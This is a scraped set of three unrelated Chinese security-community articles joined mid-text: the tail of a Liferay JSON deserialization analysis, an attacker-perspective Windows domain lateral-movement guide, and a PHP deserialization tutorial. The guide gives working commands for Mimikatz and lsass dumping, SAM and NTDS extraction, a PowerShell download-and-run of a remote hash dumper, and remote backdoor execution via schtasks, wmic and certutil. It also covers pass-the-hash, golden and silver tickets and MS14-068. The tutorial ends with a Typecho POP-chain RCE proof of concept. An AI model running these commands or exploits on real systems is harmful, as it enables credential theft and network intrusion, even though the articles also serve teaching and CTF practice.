return Enum.valueOf(parameterType, value.toString());
} else if (parameterType.equals(Calendar.class)) {
Calendar calendar = Calendar.getInstance();
calendar.setLenient(false);
valueString = value.toString();
valueString = valueString.trim();
long timeInMillis = GetterUtil.getLong(valueString);
calendar.setTimeInMillis(timeInMillis);
return calendar;
} else if (Collection.class.isAssignableFrom(parameterType)) {
parameterValue = null;
if (value instanceof List) {
list = (List)value;
} else {
valueString = value.toString();
valueString = valueString.trim();
if (!valueString.startsWith("[")) {
valueString = "[".concat(valueString).concat("]");
}
list = (List)JSONFactoryUtil.looseDeserialize(valueString, ArrayList.class);
}
return this._generifyList(list, genericParameterTypes);
} else if (parameterType.equals(Locale.class)) {
String valueString = value.toString();
valueString = valueString.trim();
return LocaleUtil.fromLanguageId(valueString);
} else if (parameterType.equals(Map.class)) {
parameterValue = null;
Map map;
if (value instanceof Map) {
map = (Map)value;
} else {
valueString = value.toString();
valueString = valueString.trim();
map = (Map)JSONFactoryUtil.looseDeserialize(valueString, HashMap.class);
}
return this._generifyMap(map, genericParameterTypes);
} else {
parameterValue = null;
try {
parameterValue = this._convertType(value, parameterType);
} catch (Exception var9) {
if (value instanceof Map) {
try {
parameterValue = this._createDefaultParameterValue((String)null, parameterType);
} catch (Exception var8) {
ClassCastException cce = new ClassCastException(var9.getMessage());
cce.addSuppressed(var8);
throw cce;
}
BeanCopy beanCopy = BeanCopy.beans(value, parameterValue);
beanCopy.copy();
} else {
String valueString = value.toString();
valueString = valueString.trim();
if (!valueString.startsWith("{")) {
throw new ClassCastException(var9.getMessage());
}
parameterValue = JSONFactoryUtil.looseDeserialize(valueString, parameterType);
}
}
return parameterValue;
}
}
分别判断是否是Array、Enum、Calendar、Collection、Locale，如果都不是
判断不是map实例并且是以`{`开头就反序列化`JSONFactoryUtil.looseDeserialize(valueString,
parameterType)`，如果parameterType可控，那么就会造成反序列化漏洞。
### 可控parameterType
api的调用基本了解之后，看下漏洞产生的点，根据原作者的思路，在整个jsonwebservice中，只有上文的`JSONFactoryUtil.looseDeserialize(valueString,
parameterType)`反序列化对象的类是可变的，具体可不可控还需要来看`com.liferay.portal.jsonwebservice.JSONWebServiceActionParametersMap#put`。
put方法中，当参数传入`:`时，会将`_parameterTypes`赋值为截取的key、typeName组成的hashmap，从而上文中的`parameterType`可控，进而造成反序列化，而这个功能其实是为了传入Object对象。在127.0.0.1:8080/api/jsonws中搜索Object参数类型，发现多个api均可传入Object。
比如：`/expandocolumn/update-column`
### 寻找gadget
有反序列化点之后我们还要找到可用的gadget
C3P0v0.9.5.3，虽然ysoserial标的是0.9.5.2，但是@l1nk3r师傅在[这篇文章中](https://xz.aliyun.com/t/6965)也测试了0.9.5.5都可用。
## 总结
这个洞来来回回折腾了几天，还是自己太菜了，分析完这个洞，觉得只有真正了解了代码的功能，才能进一步深入挖到漏洞。
最后感谢给与帮助的sky@iiusky、chybeta、r4v3zn、ximcx师傅！另寻找一起学Java审计的小伙伴！
## 参考链接
* <https://twitter.com/chybeta/status/1242133506974560256>
* <https://github.com/mzer0one/CVE-2020-7961-POC>
* <https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/C3P0.java>
* <https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html>
* <https://xz.aliyun.com/t/6965>
**文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。** | 社区文章 |
一、前言
目前当攻击者获取到某台内网机器的控制权限之后，进一步会考虑如何在内网进行横向移动，以及攻击域控服务器，今天丹丹就总结一下突破边界后进一步的攻击技巧。
二、Windows域介绍
将网络中多台计算机逻辑上组织到一起进行集中管理，这种区别于工作组的逻辑环境叫做域。域是由域控制器（Domain
Controller）和成员计算机组成，域控制器就是安装了活动目录（Active
Directory）的计算机。活动目录提供了存储网络上对象信息并使用网络使用该数据的方法，在域中，至少有一台域控制器，域控制器中保存着整个域的用户帐号和安全数据库。
2.1域的优势
1.集中管理，可以集中的管理企业中成千上万分布于异地的计算机和用户。
2.便捷的网络资源访问，能够容易的定位到域中的资源。
3.用户一次登录就可访问整个网络资源，集中的身份验证。
4.网络资源主要包含用户帐户、组、共享文件夹、打印机等
5.可扩展性，既可以适用于几十台计算机的小规模网络，也可以适用于跨国公司。
2.2域渗透常用命令
查询与控制器主机名 ：net group “domain controllers” /domain
可以通过ping主机名获取到域控的ip
查询域管理用户：net group “domain admins” /domain
查看所有域用户：net user /domain
查看加入域的所有计算机名：net group "domain computers" /domain
查看域密码策略：net accounts /domain
**2.3Windows认证协议**
Windows有两种认证协议：NTLM（NT LAN
Manager）和Kerberos。域成员计算机在登录的时候可以选择登录到域中或此台电脑，选择登陆到域一般会采用Kerberos协议在域控DC上进行认证。
2.3.1NTLM认证协议
NTLM是一种网络认证协议，它是基于挑战（Chalenge）/响应（Response）认证机制的一种认证模式。这个协议只支持Windows。NTLM认证协议大概流程：
可以看到NTLM协议基于NTLM hash，windows本地登陆的密码由LM hash和NTLM hash组成,存储在SAM文件中,前一部分是LM
Hash，后一部分是NTLM Hash。
administrator:500:6f08d7b306b1dad4ff17365faf1ffe89:032f3db689bf1ee44c04d08c785710de:::
在登陆Windows的时候，系统会将用户输入的密码转换成NTLM hash并与SAM文件中的密码进行对比，如果相同，则认证成功。
**2.3.2Kerberos认证协议**
Kerberos是一种网络认证协议，整个认证过程涉及到三方：客户端、服务端和 KDC（Key Distribution Center），在 Windows
域环境中，KDC 的角色由 DC（Domain Controller）来担当。
Kerberos基于票据(Ticket)进行安全认证，票据是用来在认证服务器和用户请求的服务之间传递用户身份的凭证。以下是kerberos协议的认证流程：
第1步：KRB_AS_REQ：Client-A发送Authenticator（通过A密码加密的一个时间戳TimeStamp）向KDC的AS服务认证自己的身份；
第2步：KRB_AS_REP：AS通过KDC数据库中存储的Client-A密码的副本，解密收到的Authenticator，如果解密出的TimeStamp符合要求，则AS服务认为Client-A就是所谓的Client-A；
认证成功后，AS服务生成一个短期有效的SessionKeya-kdc，将该Key使用A的密码副本加密成密文1，另外将Key连同时间戳标志（控制该SessionKey的有效时间）通过TGS服务的密码也就是KDC的密码加密为密文2（称为TGT），将这两个密文组合成KRB_AS_REP返回给Client-A；
第3步：KRB_TGS_REQ：Client-A在接收到KRB_AS_REP后，首先使用自身密码解密密文1得到SessionKeya-kdc，此时需要注意的是，密文2（TGT）是被KDC的密码加密的，所以Client-A无法解密，这也是Kerberos协议设计的精妙之处，既解决了Server端（TGS相对于Client-A也称之为Server端）无法及时接收SessionKey的问题，又不怕Client-A对该TGT的伪造，因为Client-A不知道Server端的密码。
得到SessionKeya-kdc后，Client-A利用其加密时间戳生成Authenticator用于向TGS申请Client-A与Client-B进行认证所需的SessionKeya-b，连同刚才KRB_AS_REP接收的TGT一同组合成KRB_TGS_REQ发送给TGS
第4步：KRB_TGS_REP：TGS在接收到KRB_TGS_REP之后，利用KDC密码解密TGT获得本来就该发送给自己的SessionKeya-kdc，然后用其解密KRB_TGS_REQ中的Authenticator得到Client-A发送过来的时间戳，如果时间戳符合要求，则生成一个短期有效的SessionKeya-b，注意此时利用SessionKeya-kdc将SessionKeya-b加密为密文1，然后利用Server-B的密码将SessionKeya-b加密为密文2（称为ServiceTicket），两个密文一同构成KRB_TGS_REP返回给Client-A；
第5步：KRB_AP_REQ：Client-A在接收到KRB_TGS_REP之后，首先使用缓存的SessionKeya-kdc将密文1中的SessionKeya-b解密出来，然后利用其加密时间戳生成Authenticator用于向B进行对自身的验证，另外，和刚才TGT一样，密文2也就是ServiceTicket是用Server-B的密码加密的，所以Client-A无法解密，也就无法伪造，这也同样解决了在三方认证中作为Server端的B无法及时接收SessionKey的问题，又不怕Client-A对ServiceTicket的伪造；
第6步：KRB_AP_REP：Server-B受到KRB_AP_REQ之后，利用自身密码解密ServiceTicket，得到SessionKeya-b，然后用SessionKeya-b解密Authenticator得到时间戳，验证A的身份。
三、域内横向移动技巧
利用NTLM、Kerberos及SMB等协议。攻击者进入内网后会进行横向移动建立多个立足点，常见的技巧包括凭证窃取、横向移动、Pass The
Hash（hash传递）、导出域成员Hash、黄金白银票据、MS14-068等。
3.1凭证窃取
窃取凭据来帮助在域内横向移动，一旦获取的密码在内网中是通用的，将会方便横向移动获取目标权限。
3.1.1Mimikatz
Mimikatz一款windows平台下的神器，它具备很多功能，其中最亮眼的功能是直接从 lsass.exe
进程里获取windows处于active状态账号的明文密码。
读取明文密码原理：在 Windows 中，当用户登录时，lsass.exe
使用一个可逆的算法加密明文，并会将密文保存在内存中，Mimikatz就是通过抓取内存去还原明文。
项目地址：<https://github.com/gentilkiwi/mimikatz>
用法：
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"
当目标为win10或2012R2以上时，默认在内存缓存中禁止保存明文密码，但可以通过修改注册表的方式抓取明文。
cmd修改注册表命令：
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f
重启或用户重新登录后可以成功抓取。
3.1.2Procdump
Procdump是微软官方发布的一款调试工具，因此不会被各种杀毒软件查杀。通常使用procdump转储内存文件到本地再使用mimikatz抓取文件中的hash来躲避杀软检测。
下载地址：
<https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump>
1、使用procdump将目标的lsass.exe转储成dmp文件
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
2、使用mimikatz从转储的lsass.dmp中来读取明文密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
3.1.3Getpass
Getapss是由闪电小子根据mimikatz编译的一个工具，可以直接获取明文密码，直接运行Getpass.exe即可：
3.1.4Powershell脚本抓取
当目标系统存在powershell时，可直接一句powershell代码调用抓取，前提是目标可出外网，否则需要将ps1脚本放置内网之中。执行:
powershell IEX (New-Object
Net.WebClient).DownloadString(‘<https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1’);Get-PassHashes>
3.1.5Sam破解
使用注册表来离线导出Hash
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save hklm\security security.hiv
导出后可以使用mimikatz加载sam.hiv和sam.hiv来导出Hash。或者使用impacket 套件中secretsdump.py
脚本去解密，也是可以的。
python secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv
LOCAL
3.2横向移动
3.2.1IPC+计划任务
通过ipc$实现对windows默认共享的访问，配合计划任务执行后门程序获取服务器权限。
1、通过net use建立IPC$连接
net use \192.168.91.131\IPC$ /user:"administrator" "abc@123"
2、利用copy上传后门文件
copy D:\test.bat \186.64.10.13\c$
3、创建计划任务执行后门程序
schtasks /create /s 186.64.10.13 /u Administrator /p Admin@123.. /ru "SYSTEM"
/tn test /sc DAILY /st 22:18 /tr C:\windows\temp\test.bat /F
创建计划任务，/tn是任务名称，/sc是任务运行频率，这里指定为每天运行， /tr指定运行的文件，/F表示强制创建任务
schtasks /run /s 186.64.10.13 /u administrator /p Admin@123.. /tn test /i
运行任务，其中/i表示立即运行
schtasks /delete /s 186.64.10.13 /u administrator /p Admin@123.. /tn test /f
删除计划任务
低版本的操作系统可以直接使用at创建计划任务：
net time \186.64.10.13 at \186.64.10.13 18:01 c:\windows\temp\test.bat
3.2.2PsExec(445端口)
PsExec来自Microsoft的Sysinternals套件，它首先通过SMB连接到目标上的ADMIN$共享,上传psexesvc.exe，然后使用服务控制管理器启动.exe，以在远程系统上创建命名管道，最后使用该管道进行I/O
下载地址：<https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec>
1、通过ADMIN$连接，然后释放psexesvc.exe到目标机器。
2、通过服务管理SCManager远程创建psexecsvc服务，并启动服务。
3、客户端连接执行命令,服务端启动相应的程序并执行回显数据。
psexec \186.64.10.13 -u Domain\User -p Password Command
或者返回交互式shell:
3.2.3WMI(135端口)
WMI(Windows Management
Instrumentation，Windows管理规范)是一项核心的Windows管理技术；用户可以使用WMI管理本地和远程计算机
通过使用端口135上的远程过程调用(RPC)进行通信以进行远程访问（以及以后的临时端口）,
它允许系统管理员远程执行自动化管理任务，例如远程启动服务或执行命令。它可以通过wmic.exe直接进行交互。
查询进程信息：
wmic /node:186.64.10.13 /user:Administrator /password:Admin@123.. process list
brief
首先WMI并不支持执行命令，而是支持执行文件但是你可以加相应的参数，比如
wmic /node:186.64.10.13 /user:Administrator /password:Admin@123.. process call
create "cmd.exe /c ipconfig"
创建进程：
wmic /node:186.64.10.13 /user:Administrator /password:Admin@123 process call
create "calc.exe"
下载远程文件并执行:
wmic /node:186.64.10.13 /user:Administrator /password:Admin@123 process call
create "cmd /c certutil.exe -urlcache -split -f <http://186.64.10.13/test.exe>
c:/windows/temp/test.exe & c:/windows/temp/test.exe"
创建交互式shell:
使用py脚本调用WMI来模拟psexec的功能，基本上psexec能用的地方，这个脚本也能够使用。原理就是把数据先存到一个临时文件中，在每次读取完执行结果后就自动删除。可以用来回显执行命令的结果和获取半交互式的shell
python wmiexec.py -share admin$ administrator:[email protected]
3.2.4WinRM远程管理服务
WinRM指的是Windows远程管理服务，通过远程连接winRM模块可以操作windows命令行，默认监听端口5985（HTTP）&5986
(HTTPS)，在2012以后默认开启。
执行命令：
winrs -r:<http://186.64.10.13:5985> -u:Administrator -p:Admin@123.. "whoami
/all"
winrs -r:<http://186.64.10.13:5985> -u:Administrator -p:Admin@123.. "cmd.exe"
3.2.5SmbExec(445端口)
smbexec是一款基于psexec的域渗透测试工具，并配套samba工具。
Smbexec.py administrator:[email protected]
3.3Pass The Hash
PTH(pass the hash)攻击是指攻击者可以直接通过LM Hash(已弃用)或NTLM
Hash访问远程主机或服务，而不提供明文密码。在Windows系统中，使用NTLM进行身份认证，当获取用户hash后，可以使用Hash传递的方式获取访问权限。
3.3.1Mimikatz
首先登录目标机器，以管理员身份运行mimikatz，并输入以下命令获取administrator账户的ntlm hash：
Mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords”
在攻击机器上利用mimikatz将获取的hash注入到内存中，成功后用dir命令可以成功列出目录文件：
sekurlsa::pth /domain:. /user:Administrator /ntlm:
70be8675cd511daa9be4b8f49e829327
注入成功后，可以使用psexec、wmic、wmiexec等实现远程执行命令。
3.4导出域成员Hash
域账户的用户名和hash密码以域数据库的形式存放在域控制器的%SystemRoot%\ntds\NTDS.DIT文件中。
ntdsutil.exe是域控制器自带的域数据库管理工具，因此我们可以通过域数据库，提取出域中所有的域用户信息，在域控上依次执行如下命令，导出域数据库。
创建快照：
ntdsutil snapshot "activate instance ntds" create quit quit
加载快照：
ntdsutil snapshot "mount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit
Copy文件副本：
copy C:\$SNAP_201911211122_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
将ntds.dit文件拷贝到本地利用impacket脚本dump出Hash：
最后记得卸载删除快照：
ntdsutil snapshot "unmount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit
ntdsutil snapshot "delete {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit
3.4.1mimikatz导出域内hash
mimikatz有两种方式可以导出域内hash。
1、直接在域控制器中执行Mimikatz，通过lsass.exe进程dump出密码哈希。
mimikatz log "privilege::debug" "lsadump::lsa /patch" exi
另外一种方式是通过dcsync，利用目录复制服务（DRS）从NTDS.DIT文件中检索密码哈希值，可以在域管权限下执行获取。
lsadump::dcsync /domain:test.com /all /csv
也可以制定获取某个用户的hash：
lsadump::dcsync /domain:test.com /user:test
3.4.2黄金票据
域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的，因此只要获取到了krbtgt用户的密码Hash，就可以随意伪造Ticket，进而使用Ticket登陆域控制器，使用krbtgt用户hash生成的票据被称为Golden
Ticket，此类攻击方法被称为票据传递攻击。
首先获取krbtgt的用户hash:
mimikatz "lsadump::dcsync /domain:xx.com /user:krbtgt"
在普通域成员上执行dir命令提示“拒绝访问”：
之后利用mimikatz生成域管权限的Golden Ticket，填入对应的域管理员账号、域名称、sid值，如下：
kerberos::golden /admin:administrator /domain:ABC.COM
/sid:S-1-5-21-3912242732-2617380311-62526969
/krbtgt:c7af5cfc450e645ed4c46daa78fe18da /ticket:test.kiribi
导入刚才生成的票据：
kerberos::ptt test.kiribi
导入成功后，可以获取域管权限：
Dir \dc.abc.com\c$
3.4.3白银票据
黄金票据和白银票据的一些区别：
Golden Ticket：伪造TGT，可以获取任何Kerberos服务权限，且由krbtgt的hash加密，金票在使用的过程需要和域控通信
白银票据：伪造TGS，只能访问指定的服务，且由服务账号（通常为计算机账户）的Hash加密 ，银票在使用的过程不需要同域控通信
1.在域控上导出hash
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"
2、利用Hash制作一张cifs服务的白银票据：
kerberos::golden /domain:ABC.COM /sid: S-1-5-21-3912242732-2617380311-62526969
/target:DC.ABC.COM /rc4:f3a76b2f3e5af8d2808734b8974acba9 /service:cifs
/user:strage /ptt
cifs是指的文件共享服务，有了cifs服务权限，就可以访问域控制器的文件系统:
3.4.4MS14-068
MS14-068域提权漏洞，对应补丁编号：kb3011780，利用该漏洞可以将任何一个域用户提权至域管理员权限。
1、在普通域用户机器上直接访问域控制器的C盘目录
2、利用MS14-068伪造生成TGT：
sMS14-068.exe -u [email protected] -s
S-1-5-21-457432167-2946190674-2696793547-1103 -d 192.168.140.140 -p Admin@str
3、利用mimikatz将工具得到的TGT票据写入内存，创建缓存证书：
mimikatz.exe "kerberos::ptc [email protected]" exit
4、重新执行dir命令：
dir \dc\C$
四、总结
本文从攻击者视角总结了突破边界后的攻击技巧，由于水平有限，欢迎大家指出文中的错误和交流指教。 | 社区文章 |
本文由红日安全成员：ama666 编写，如有不当，还望斧正。
大家好，我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享，还包含一个HTB靶场供大家练习，我们给这个项目起了一个名字叫[
**Web安全实战**](https://github.com/hongriSec/Web-Security-Attack)
，希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于 **漏洞简介-漏洞原理-漏洞危害-测试方法（手工测试，工具测试）-靶场测试（分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖）-实战演练（主要选择相应CMS或者是Vulnhub进行实战演练)**
，如果对大家有帮助请 **Star** 鼓励我们创作更好文章。如果你愿意加入我们，一起完善这个项目，欢迎通过邮件形式（[email protected]）联系我们。
## 漏洞简介
### 1.1 什么是反序列化漏洞
利用程序已有的一些函数在参数中注入一些代码，达到代码执行的效果。
### 1.2 漏洞危害
攻击者可以利用反序列化漏洞,通过构造恶意请求报文远程执行命令，危害较大。
## 漏洞原理
### 2.1 序列化与反序列化
在了解反序列化漏洞之前，必须要先了解什么序列化、反序列化以及它们各有什么用。
#### 2.1.1 序列化
以`PHP`语言为例子，在写程序尤其是写网站的时候，经常会构造`类`，并且有时候会将实例化的类作为变量进行传输。序列化就是在此为了减少传输内容的大小孕育而生的一种压缩方法。我们知道一个`PHP类`都含有几个特定的元素:
`类属性`、`类常量`、`类方法`。每一个类至少都含有以上三个元素，而这三个元素也可以组成最基本的类。那么按照特定的格式将这三个元素表达出来就可以将一个完整的`类`表示出来并传递。
**序列化** 就是将一个类压缩成一个字符串的方法。
运行以下PHP代码
<?php
class userInfo
{
private $passwd = 'weak';
protected $sex = 'male';
public $name = 'ama666';
public function modifyPasswd($passwd)
{
$this->passwd = $passwd;
}
public function getPasswd()
{
echo $this->$passwd;
}
}
$ama666 = new userInfo();
$ama666->modifyPasswd('strong');
$data = serialize($ama666);
echo $data;
?>
得到的输出结果为
O:8:"userInfo":3:{s:16:"userInfopasswd";s:6:"strong";s:6:"*sex";s:4:"male";s:4:"name";s:6:"ama666";}
我们来逐一解读
* 大括号外表示为“Object”对象名称长度为8是“userInfo”，这个对象有3个属性。
* 大括号内表示的则是这些属性的具体信息以及它们的值。
根据属性的权限不同，在序列化中的表示方法也有所不同。可以看出在代码中三个属性的权限分别是`private`，`protected`和`public`。这里简单说一下：
> * public权限就是正常的变量权限，一般声明的变量权限均为public
> * protected权限是私有权限，即只能在类内使用，子类可以继承这个变量
> * private权限也是私有权限，比protected权限更似有一些，只能在本类内使用，子类不能继承
>
可以看到代码中三个变量对应的三个权限在序列化字符串中都有不同的表达，红色是`private`，前面加上了本类名称；
蓝色是`protected`，前面加上了星号，绿色是`public`，没有任何前缀。
总结来说一个类经过序列化之后存储在字符串的信息只有类名称和类内属性键值对，序列化字符串中没有将类方法一并序列化。这就引申出了本次讨论的主题，反序列化漏洞。
#### 2.1.2 反序列化
反序列化与序列化相对应的，就是将含有类信息的序列化过的字符串“解压缩”还原成类。
如上图所示，将字符串反序列化出来之后的类不包含任何类方法，那么这样一个类怎么起作用呢？
反序列化的类想要使用原先的类方法必须依托于 **域** ，脱离了域的反序列的类是无法调用序列化之前的类方法的。比如我在上一段代码结尾加上如下代码
<?php
$new_ama666 = unserialize($data);
$new_ama666->getPasswd();
?>
看到成功执行了类方法。如果我同样将之前序列化字符串作为输入，在一个新的域下执行以上代码片段
<?php
$data = "O:8:\"userInfo\":3:{s:16:\"userInfopasswd\";s:6:\"strong\";s:6:\"*sex\";s:4:\"male\";s:4:\"name\";s:6:\"ama666\";}";
$new_ama666 = unserialize($data);
$new_ama666->getPasswd();
?>
提示的是没有这个函数。总结来说反序列化漏洞可控的是要被反序列化的字符串，具体能够走多远还要依靠类方法。
### 2.2 PHP魔法函数
到目前为止我们可以控制类属性，但还称不上漏洞，只能说是反序列化的特性，还要配合上特定函数才能发挥反序列化漏洞的威力。所以要先了解一些特殊的函数，这些函数都是我们在利用反序列化漏洞时候的好帮手，因为这些魔术方法均可以在一些特定的情况下自动触发。如果这些魔术方法中存在我们想要执行，或者说可以利用的函数，那我们就能够进一步进行攻击。
#### 2.2.1 __wakeup()
在php中如果需要进行 **反序列化** ，会先检查类中是否存在`__wakeup()`函数，如果存在，则会先调用此类方法，预先准备对象需要的资源。举例来说
<?php
class example
{
public $color = 'black';
public function __wakeup()
{
$this->color = 'white';
}
public function printColor()
{
echo $this->color . PHP_EOL;
}
}
$ama666 = new example;
$data = serialize($ama666);
$new_ama666 = unserialize($data);
$new_ama666->printColor();
?>
运行以上代码，结果如下，看到类属性`color`已经被`__wakeup()`函数自动调用并修改了。
这种函数被称为 **PHP魔法函数** ，会在一定条件下不需要调用而自动调用。
#### 2.2.2 __destruct()
此魔法函数会在对象的所有引用都被删除或者类被销毁的时候自动调用。
<?php
class example
{
public $color = 'black';
public function __destruct()
{
echo "__destruct()" . PHP_EOL;
}
}
echo "initializing..." . PHP_EOL;
$ama666 = new example;
echo "serializing..." . PHP_EOL;
$data = serialize($ama666);
?>
执行以上代码，看到在序列化类的时候，`__destruct()`函数自动执行了。
#### 2.2.3 __construct()
此函数会在创建一个类的实例时自动调用。
<?php
class example
{
public $color = 'black';
public function __construct()
{
echo "__construct()" . PHP_EOL;
}
}
echo "initializing..." . PHP_EOL;
$ama666 = new example;
echo "serializing..." . PHP_EOL;
$data = serialize($ama666);
?>
执行以上代码，看到类在序列化之前，实例化的时候`__construct()`函数就被调用了。
#### 2.2.4 __toString()
此魔法函数会在类被当作字符串的时候调用。在PHP5.2以前，`__toString`函数只有在echo、print时才生效；PHP5.2以后则可以在任何字符串环境生效（例如通过
printf，使用 _%s_ 修饰符），但不能用于非字符串环境（如使用 _%d_ 修饰符）。自 PHP 5.2.0 起，如果将一个未定义
__toString() 方法的对象转换为字符串，会产生 `E_RECOVERABLE_ERROR` 级别的错误。
<?php
class example
{
public $color = 'black';
public function __toString()
{
return "__toString()" . PHP_EOL;
}
}
echo "initializing..." . PHP_EOL;
$ama666 = new example;
echo "echo..." . PHP_EOL;
echo $ama666;
echo "serializing..." . PHP_EOL;
$data = serialize($ama666);
?>
执行以上代码，当实例化对象被当作字符串使用的时候，`__toString()`函数自动调用。
还有一些不太容易想到的情况也能触发此函数
> * 反序列化对象与字符串连接时
> * 反序列化对象参与格式化字符串时
> * 反序列化对象与字符串进行==比较时（PHP进行==比较的时候会转换参数类型）
> * 反序列化对象参与格式化SQL语句，绑定参数时
> * 反序列化对象在经过php字符串函数，如 strlen()、addslashes()时
> * 在in_array()方法中，第一个参数是反序列化对象，第二个参数的数组中有 **toString返回的字符串的时候**
> toString会被调用
> * 反序列化的对象作为 class_exists() 的参数的时候
>
#### 2.2.5 __get()
在读取不可访问的属性值的时候，此魔法函数会自动调用。
<?php
class example
{
private $color = 'black';
public function __get($color)
{
return "__get()" . PHP_EOL;
}
}
$ama666 = new example;
echo $ama666->color;
?>
执行以上代码，因为试图访问私有变量`color`导致`__get()`函数自动调用。
#### 2.2.6 __call()
`__call`是调用未定义的方法时调用的。
<?php
class example
{
private $color = 'black';
public function __call($function,$parameters)
{
echo $function."(".$parameters.")".PHP_EOL;
return "__call()" . PHP_EOL;
}
}
$ama666 = new example;
echo $ama666->notExistFunction("patameters");
?>
执行以上代码，`__call()`函数被调用。也就是说，你想要调用方法未定义，那么这个方法名就会作为`__call`的第一个参数传入，而此不存在方法的参数会被装进数组中作为`__call`的第二个参数传入
#### 2.2.7
当然PHP中还有很多[魔术方法](https://www.php.net/manual/zh/language.oop5.magic.php)没有介绍，前面只说了我认为在反序列化漏洞中比较重要的几个，其他的大家有兴趣可以自己去了解。
## CTF中的反序列化
#### 3.1 题目
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else{
die('Wrong filename.');
}
}
function __wakeup()
{
$this-> file='index.php';
}
public function __toString()
{
return '' ;
}
}
if (!isset($_GET['file'])) {
show_source('index.php');
}
else {
$file=base64_decode( $_GET['file']);
echo unserialize($file );
}
?> #<!--key in flag.php-->
#### 3.2 解答
这道题利用的是PHP反序列化的一个特性，序列化字符串的结构在前面已经说过，当序列化字符串中，表示对象属性个数的值大于实际属性个数时，那么就会跳过wakeup方法的执行。此题的解题思路就是如此，通过改写序列化字符串中表示属性个数的数字，使其比真实值大，就可以跳过`__wakeup()`函数。
##### POC
<?php
class SoFun{
protected $file='flag.php';
}
$poc = new SoFun;
echo serialize($poc);
?>
将输出的结果表示属性个数的数字加一
O:5:"SoFun":2:{s:7:"*file";s:8:"flag.php";}
注意提交的时候需要base64
## CMS实战
选取的是 **typecho CMS** 进行实战演示。
#### 4.1 CMS介绍
Typecho基于PHP5开发，支持多种数据库，是一款内核强健﹑扩展方便﹑体验友好﹑运行流畅的轻量级开源博客程序。
#### 4.2 CMS安装
访问`install.php`按照网站提示安装即可
#### 4.3 漏洞成因
在根目录下的`install.php`文件第232行，调用了 **unserialize**
函数。传入参数是通过类方法获取的，跟进`Typecho_Cookie::get`方法
在文件`Cookie.php`中的第83行定义了类方法，功能为获取指定的Cookie值。第86行看出此值是从Cookie中获取，没有的话就从POST中获取，一步传入了unserialize函数，没有经过过滤，故而反序列化漏洞存在。
到此我们找到了输入点，但是具体能够执行什么类型的攻击以及攻击深度还要取决了类的作用域以及其中的函数。按照思路我们希望构造一个Typecho中已经存在的类，这个类要满足以下条件
* 有魔法函数，能够在程序正常逻辑中自动执行
* 魔法函数中存在敏感函数，通过向类属性注入可以代码可以被敏感函数执行，从而达到攻击效果。
那么接下来的任务就是要寻找符合以上要求的类。首先`Typecho_Cookie`这个类是不符合要求的，在`install.php`文件中接着向下看，第234行实例化了`Typecho_Db`，跟进看一看这个类的定义。在文件`Db.php`中发现此类具有`__construct()`魔法函数，在此方法的第120行将传入的参数当作字符串进行拼接。传入的参数`$adapterName`如果是我们可控的参数的话，根据前面所讲，此过程会自动触发`__toString()`魔法函数。
回到上一层，也就是实例化`Typecho_Db`那里，看到`$adapterName`实际上就是`Typecho_Cookie`的一个类属性。而我们已知此类属性是可控的，那么下一步的目标就变成了
* 找到一个类，其中含有`__toString()`魔法函数，能够在程序正常逻辑中自动执行
* 此魔法函数中含有敏感函数可以被利用
在`Feed.php`文件中找到了符合上述条件的类`Typecho_Feed`，其中`__toString()`方法中在第290行将`$item['author']->screenName`作为参数传递给了函数
**htmlspecialchars**
，前面讲过，当类试图访问一个不存在或者不可访问的对象是会触发`__get()`魔法函数。换句话说如果`$item['author']`是一个类且其中并不存在类属性`screenName`的话就会触发这个类(`$item['author']`)的`__get()`魔法函数。
现在我们的目标变成了
* 找到一个类，其中含有`__get()`魔法函数，能够在程序正常逻辑中自动执行
* 此魔法函数中含有敏感函数可以被利用
在文件`Requests.php`文件中找到了符合要求的类`Typecho_Requests`，在文件第270行找到了`__get()`魔法函数
跟进函数`get`，注意此函数并非魔法函数，而是类方法。在文件的第296行找到了此函数的定义，此函数最后一行调用了`_applyFilter`函数，继续跟进，在文件第159行找到了此函数的定义，其中的第164行调用了`call_user_func`，是一个危险函数可以使用命令执行漏洞来攻击。
到此为止我们从入口一路向下，终于找到了可以利用的敏感函数，总结回顾一下。
1. 反序列化Typecho_Cookie类方法获得的变量，此处为输入点，可以输入可控的序列化字符串
2. 实例化Typecho_Db，触发其中的construct魔法函数，其中有一段将类作为字符串拼接
3. 在Typecho_Feed类中找到toString魔法函数，其中有访问不可访问属性的操作
4. 在Typech_Requests类中找到get魔法函数，两步调用了call_user_func函数，可以命令执行
根据pop链可以构造POC如下
##### POC
<?php
class Typecho_Feed{
private $_type='ATOM 1.0';
private $_items;
public function __construct(){
$this->_items = array(
'0'=>array(
'author'=> new Typecho_Request())
);
}
}
class Typecho_Request{
private $_params = array('screenName'=>'phpinfo()');
private $_filter = array('assert');
}
$poc = array(
'adapter'=>new Typecho_Feed(),
'prefix'=>'typecho');
echo base64_encode(serialize($poc));
?>
## 防御方法
#### 5.1 过滤用户输入
可以维护一个黑名单或者白名单来限制用户的输入，过滤不合理，不符合程序逻辑的输入。
